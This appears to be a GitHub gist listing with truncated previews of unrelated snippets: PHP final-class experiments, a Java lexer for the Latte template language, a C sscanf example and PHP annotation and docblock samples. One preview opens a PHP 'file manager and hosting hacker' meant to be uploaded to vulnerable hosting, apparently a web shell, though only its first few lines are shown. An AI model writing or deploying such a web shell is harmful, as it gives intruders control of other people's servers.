This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$doRemoveFinal = true; // play with it | |
// Imagine your favorite library here (of course it has finals) | |
class A { | |
final function getName() { return 'A'; } | |
} | |
final class B { | |
function getName() { return 'B'; } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package cz.juzna.latte.lexer; | |
import com.intellij.lexer.Lexer; | |
import com.intellij.lexer.LookAheadLexer; | |
import com.intellij.psi.tree.IElementType; | |
import com.intellij.psi.tree.TokenSet; | |
/** | |
* Uses base-lexer to get big chunks, and several of them (typesToLex) are then lexed into smaller tokens using sub-lexer. | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
int main (int argc, char **argv) { | |
char str[] = "image%06d.png", buf[100]; | |
int num; | |
sscanf (str,"%s", buf); | |
printf ("%s\n", buf); | |
return 0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Simple file manager and hosting hacker | |
* Upload to a vulnerable PHP hosting and open :) | |
*/ | |
$self = basename($_SERVER['PHP_SELF']); | |
$akce = @$_GET['akce']; | |
$path = @$_GET['path']; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# | |
@Pepa\B\C | |
@NovakA(A) | |
@NovakB("B") | |
@NovakC(a="b",c="d",e="f") | |
class Pepa { | |
@NovakConst | |
const myConst = 1; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
object(Pepa)#2 (1) { | |
["myObj"]=> | |
object(stdClass)#1 (2) { | |
["ahoj"]=> | |
int(1) | |
["novak"]=> | |
string(4) "pepa" | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace MyApp; | |
/** | |
*/ | |
class Object { | |
function isThisAnObject() { | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Handle action, only valid for a logged-in user | |
* @User | |
*/ | |
public function handleLike($itemId) { ... } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Tool { | |
/** | |
* @return Tool[][] | |
*/ | |
function getItems() { | |
return call_user_func('x'); // dummy | |
} | |
} |